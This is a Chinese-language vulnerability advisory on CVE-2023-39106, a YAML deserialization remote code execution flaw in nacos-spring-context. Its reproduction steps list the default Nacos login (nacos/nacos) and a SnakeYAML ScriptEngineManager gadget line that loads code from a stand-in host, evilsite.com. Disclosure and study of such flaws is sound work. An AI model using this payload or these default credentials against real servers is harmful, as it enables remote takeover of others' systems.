简介
Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。Nacos Spring 项目基于Nacos,完全拥抱 Spring 生态,旨在帮助您快速构建 Spring 应用。该项目包含一个名为 的核心模块nacos-spring-context。它使您能够通过以下方式扩展现代 Java 编程模型:注释驱动,依赖注入,外部化配置,事件驱动,这些功能强烈依赖于 Spring Framework 3.2+ API,并且可以与任何 Spring Stack 无缝集成,例如 Spring Boot 和 Spring Cloud。
GitHub:https://github.com/nacos-group/nacos-spring-project
漏洞描述
反序列化攻击者提供的 yaml 内容可能会导致远程代码执行。因此,当spring框架项目使用nacos-spring-context作为依赖项时,只需在nacos服务器中添加恶意的配置即可轻松进行RCE。
影响版本
nacos-spring-context ≤ V1.1.1
空间测绘
该漏洞属于Spring依赖nacos-spring-context的漏洞,故无测绘特征,只能在源码中体现
Nacos空间测绘:app="NACOS"
漏洞利用
1.创建一个空的spring-framework工程,并添加nacos-spring-context的依赖。
2.添加下面的代码,按照文档所说,设置NacosPropertySource:
+import com.alibaba.nacos.api.config.ConfigType;
+import com.alibaba.nacos.spring.context.annotation.config.NacosPropertySource;
@SpringBootApplication
+@NacosPropertySource(dataId = "example.yaml", type=ConfigType.YAML, autoRefreshed=true)
public class Application {
public static void main(String[] args) {
......
3.登录nacos配置服务器
默认地址:http://xxx.xxx.xxx:8848/nacos/#/login
默认账密:nacos/nacos
然后编辑example.yaml,添加以下一行配置:
test: !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL [ "http://evilsite.com" ]]]]
参考链接
https://nvd.nist.gov/vuln/detail/CVE-2023-39106
https://github.com/nacos-group/nacos-spring-project/issues/314
仅供学习交流,勿用作违法犯罪